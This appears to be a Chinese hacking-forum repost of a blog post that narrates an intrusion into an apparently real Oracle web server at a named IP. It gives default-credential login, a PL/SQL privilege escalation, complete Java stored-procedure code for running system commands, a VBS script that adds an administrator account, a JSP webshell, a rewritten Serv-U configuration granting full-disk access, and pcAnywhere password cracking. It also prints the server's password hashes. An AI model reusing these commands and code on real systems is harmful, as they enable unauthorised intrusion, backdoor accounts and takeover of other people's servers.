找回密码
 注册
首页 ≡≡网络技术≡≡ 网络技术 ORACLE数据库入侵

黑客安全 ORACLE数据库入侵

灰儿 2010-12-13 13:47:34
很久么写文章了,今天给带来篇ORACLE数据库入侵的文章。现在的网站 都是后台生成静态,注入一般都不怎么 好搞,只有通过别的方法了。目标站是2K系统,JSP与HTML页面。如图

这种站一般是使用SQLSERVER 或者ORACLE,使用superscan3扫描器对服务器IP大略的端口扫描。

开有FTP   WEB   1521明显是ORACLE数据库端口,ORACLE数据库默认安装以后有很多帐户密码都是默认的,如果管理员安全 意识不高很容易被人利用从而获得系统 权限。
首先要使用lsnrctl得到对方的SID号,使用lsnrctl工具连接对方IP的listener

     首先安装个ORACLE的客户端,在CMD里输入lsnrctl 进入lsnrctl后 执行
     Set current_listener 目标IP
     Status
     这个时候可以看到服务 china 和modose 这2个有一个是SID号
     使用Sqlplus连接服务器 格式这样的
sqlplus [url=]DBSNMP/DBSNMP@//202.98.123.79:1521/china[/url]

     成功登陆,执行 select * from user_role_privs;
     可以看出当前用户只具有CONNECT权限
     利用Oracle本地PL/SQL漏洞进行权限提升,成功提升为DBA权限
     Exec ctxsys.driload.validate_stmt(‘grant dba to dbsnmp’)
   
     SQL> Exec ctxsys.driload.validate_stmt('grant dba to dbsnmp');
     BEGIN ctxsys.driload.validate_stmt('grant dba to dbsnmp'); END;


     使用Oracle支持的Java特性,创建可以执行系统命令的存储过程,增加管理员账号(Windows平台的Oracle默认以system账号运行,所以我们执行的命令也是以system账号权限执行),下面创建一个JAVA源程序,以便执行系统命令。创建JAVA的语句如下:
   
     create or replace and compile
     java souRCe named "util"
     as
     import java.io.*;
     import java.lang.*;
     public class util extends Object
     {
     public static int RunThis(String args)
     {
     Runtime rt = Runtime.getRuntime();
     int RC = -1;
     try
     {
     Process p = rt.exec(args);
     int bufSize = 4096;
     BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
     int len;
     byte buffer[] = new byte[bufSize];
     // Echo back what the program spit out
     while ((len = bis.read(buffer, 0, bufSize)) != -1)
     System.out.write(buffer, 0, len);
     RC = p.waitFor();
     }
     catch (Exception e)
     {
     e.printStackTrace();
     RC = -1;
     }
     finally
     {
     return RC;
     }
     }
     }
     /
     create or replace
     function RUN_CMz(p_cmd in varchar2) return number
     as
     language java
     name 'util.RunThis(java.lang.String) return integer';
     /
     create or replace procedure RC(p_cmd in varChar)
     as
     x number;
     begin
     x := RUN_CMz(p_cmd);
     end;
     /
     variable x number;
     set serveroutput on;
     exec dbms_java.set_output(100000);
     grant javasyspriv to system;
   
     将以上代码保存为一个sql扩展的脚本文件,然后存放在系统根目录下,这里保存为java.sql。执行如下语句进行自动创建:@ c:\java.sql
     有时候提升到DBA以后不能加载脚本,提示权限不够,需要推退出再登陆就可以了。
     执行命令语句是   exec :x:=run_cmz('cmd /c ver');

exec :x:=run_cmz('cmd /c net user');  
net命令无法执行 ,netstat –an直接运行可以执行也不知道什么 原因

服务器貌似没有开3389,用户也不能加。
可以尝试下个VBS文件来添加用户
代码如下
exec :x:=run_cmz('cmd /c echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") >c:\user.vbs');
exec :x:=run_cmz('cmd /c echo ^o^s^=^"^WinNT^:^/^/^"^&^wsnetwork.ComputerName >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oa=CreateObject("Scripting.FileSystemObject") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set ob=GetObject(os) >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set oe=GetObject(os^&^"^/Administrators,group^") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set od=ob.Create("user","bob") >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetPassword "123456abc!@#" >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo od.SetInfo >>c:\user.vbs');
exec :x:=run_cmz('cmd /c echo Set of=GetObject(os^&^"^/bob^",user) >>c:\user.vbs')
exec :x:=run_cmz('cmd /c echo oe.add os^&^"^/bob^" >>c:\user.vbs');
vbs添加的用户名为bob,密码为123456abc!@#

由于vbs默认是用script.exe进行解释的,这里换作wscript.exe执行:exec :x:=run_cmz('cmd /c wscript.exe c:\user.vbs');
这也是个方法。
刚才netstat -an我们知道,服务器开了43958SERV-U和和80,可以利用DIR 找到WEB写JSP一句话马, 或者FTP目录破解FTP密码。
因为不是IIS,经过千辛万苦才找到WEB。在网上找了一个JSP的一句话马,把内容写到WEB一个TXT文件内,代码没错,注意>这个需要用^来注释才可以写写出完整的。写出来JSP马的时候发现代码没有正常运行,测试JSP马失败了。
SQL> exec :x:=run_cmz('cmd /c echo ^<% if(request.getParameter("f")!=null)(new j
ava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))
).write(request.getParameter("t").getBytes()); %^> >> e:\ftp\chinalww\chinalwwap
p\yp.jsp');

现在就只有去利用SERV-U了,通过DIR找到SERV-U的目录在
d:\progra~1\rhinosoft.com\serv-u\
exec :x:=run_cmz('cmd /c type d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini
使用TYPE命令读取FTP配置文件 servudaemon.ini得到加密密码,
[USER=chinalww|1]
Password=cv3EA7C701EED1673E5A82873834B89E98
使用SU纯数字没有解出来,想了想还可以通过ECHO给SERV-U从新写个配置文件
FTP 目标IP 了解SERVU是6.2版本的,于是下载一个6.2的。使用目标服务器上的INI文件替换本机的 再添加一个用户进去。

把帐户设置成ADMIN ,浏览所有硬盘。
[GLOBAL]
Version=6.2.0.0
ProcessID=204
[DOMAINS]
Domain1=202.98.123.79||21|202.98.123.79|1|0|0
[Domain1]
User1=chinalww|1|0
User2=ypde|1|0
[USER=chinalww|1]
Password=cv3EA7C701EED1673E5A82873834B89E98
HomeDir=e:\ftp
RelPaths=1
PasswordLastChange=1246846157
TimeOut=600
Access1=E:\ftp|RWAMLCDP
[USER=ypde|1]
Password=utF4FC3085D83885D44B9A829B93E3F564
HomeDir=c:\
RelPaths=1
PasswordLastChange=1258704816
TimeOut=600
Maintenance=System
Access1=c:\|RWAMELCDP
Access2=D:\|RWAMELCDP
Access3=E:\|RWAMELCDP

依次把内容用以下格式写入。
Exec :x:=run_cmz('cmd /c echo Access1=e:\^|^RWAMELCDP >> d:\progra~1\rhinosoft.com\serv-u\servudaemon.ini');
值得注意的是| 这个分隔符号需要用^来注释 才能正常写入,如果怕写错可以先自己测试好以后在写。

使用FALSHFXP成功连接

打开C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 目录下载PCANYWHERE   后戳为cif密码文件 使用passview破解得到密码

使用FTP上传JSPSHELL 成功添加用户。JSPSHELL 加帐户,用PCANYWHERE 登陆。3389没开,所以要用他来管理服务器。

使用破解出的Pcanywhere成功登陆服务器。            

系统长时间 不使用会自动锁定,这个时候在成功登陆PCANYWHERE的时候就要解琐需要系统密码。还有就是这个服务器是JSP用的啥WEB服务器我也不知道,JAVA 之类的一注销他的用户网站就挂了。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/kao_la_gou/archive/2010/04/20/5509023.aspx
您需要登录后才可以回帖 登录 | 注册
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。
学习中心
站长自定义文字内容,利用碎片时间,随时随地获取优质内容。
Q设计语言 了解更多
Q Design 提供商家设计所需的指导与资源,帮商家快速完成产品设计、降低生产成本。